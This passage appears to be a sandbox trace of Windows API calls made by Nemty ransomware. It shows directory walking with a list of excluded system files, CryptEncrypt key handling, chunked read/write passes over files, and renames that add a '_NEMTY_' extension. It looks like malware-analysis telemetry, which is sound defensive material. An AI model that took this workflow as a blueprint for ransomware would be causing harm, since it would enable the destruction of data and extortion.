lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.111] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.112] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0105.112] CloseHandle (hObject=0xffffffff) returned 0 [0105.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0105.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0105.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0105.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0105.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0105.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0105.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0105.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340308 [0105.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0105.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0105.112] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\connectionmanager.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\network sharing\\connectionmanager.xml._nemty_kgobjgd_")) returned 0 [0105.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0105.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0105.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0105.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0105.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0105.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0105.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0105.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94388 | out: hHeap=0x4f90000) returned 1 [0105.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0105.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.112] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf365935, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf365935, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2c7e17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2092, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="ContentDirectory.xml", cAlternateFileName="")) returned 1 [0105.112] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2=".") returned 1 [0105.112] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="..") returned 1 [0105.112] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="...") returned 1 [0105.112] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="windows") returned -1 [0105.113] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="$RECYCLE.BIN") returned 1 [0105.113] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="rsa") returned -1 [0105.113] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="NTDETECT.COM") returned -1 [0105.113] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="ntldr") returned -1 [0105.113] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="MSDOS.SYS") returned -1 [0105.113] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="IO.SYS") returned -1 [0105.113] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="boot.ini") returned 1 [0105.113] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="boot.ini") returned 1 [0105.113] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="AUTOEXEC.BAT") returned 1 [0105.113] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="ntuser.dat") returned -1 [0105.113] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="desktop.ini") returned -1 [0105.113] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="CONFIG.SYS") returned 1 [0105.113] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="RECYCLER") returned -1 [0105.113] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="BOOTSECT.BAK") returned 1 [0105.113] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="bootmgr") returned 1 [0105.113] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="programdata") returned -1 [0105.113] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="appdata") returned 1 [0105.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0105.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ContentDirectory.xml", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0105.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ContentDirectory.xml", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ContentDirectory.xml", lpUsedDefaultChar=0x0) returned 20 [0105.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0105.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ContentDirectory.xml", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0105.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ContentDirectory.xml", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ContentDirectory.xml", lpUsedDefaultChar=0x0) returned 20 [0105.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0105.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0105.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0105.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ContentDirectory.xml", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0105.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ContentDirectory.xml", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ContentDirectory.xml", lpUsedDefaultChar=0x0) returned 20 [0105.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0105.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0105.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ContentDirectory.xml", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0105.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0105.114] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ContentDirectory.xml", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ContentDirectory.xml", lpUsedDefaultChar=0x0) returned 20 [0105.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0105.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94388 [0105.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0105.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94258 [0105.114] Sleep (dwMilliseconds=0x5) [0105.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf24e96d0, dwHighDateTime=0x1d561e7)) [0105.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf24e96d0, dwHighDateTime=0x1d561e7)) [0105.126] GetLastError () returned 0x5 [0105.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0105.127] GetLastError () returned 0x5 [0105.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0105.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0105.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0105.127] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0105.127] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0105.127] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0105.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0105.127] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="pajmW2cGwrcs2Fc5kmc1j5WYhthRW1VSlqBE8j1KKnGqQj64lbTwF91la7oi5Yhx\r\nfiZQAD2gpuIb5m23Pwq9ZmAdqgAj/ZPq/ky4LIZWQPuIh8kOzUsPJ+4JIUhvNR7F\r\nGfF10Jbg8pteih8WiV+O8zjkjLCt+wfItlfIL8wAUXkk0RVTcbbfwOusUXwp/wlz\r\nZU181rJDPYl94Nxuo0O2teUTUOnXvGmvaMezMXZVzbJoOKo1VaAF7xu8hsL0jPDL\r\nfuYBzhrO+HWLEHmQ9vmhbEyvl6XIFXJlJ0G/ZAEP8CvYyj5qBSF/N7Fqn8+G++Jf\r\n5kNt2KgfLsThhz1rIpgVPQ==\r\n", pcchString=0x653ef9c) returned 1 [0105.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0105.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0105.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0105.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0105.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0105.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0105.127] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\contentdirectory.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0105.128] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0105.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0105.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.128] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.137] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.137] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.137] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.137] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.147] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.156] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.166] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.166] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.176] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.185] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.185] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.204] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.204] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.215] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.215] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.238] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.238] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0105.238] CloseHandle (hObject=0xffffffff) returned 0 [0105.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0105.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0105.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0105.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0105.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0105.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0105.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0105.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340308 [0105.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0105.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0105.238] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\contentdirectory.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\network sharing\\contentdirectory.xml._nemty_kgobjgd_")) returned 0 [0105.238] HeapFree (in: hHeap=0x4f90000, 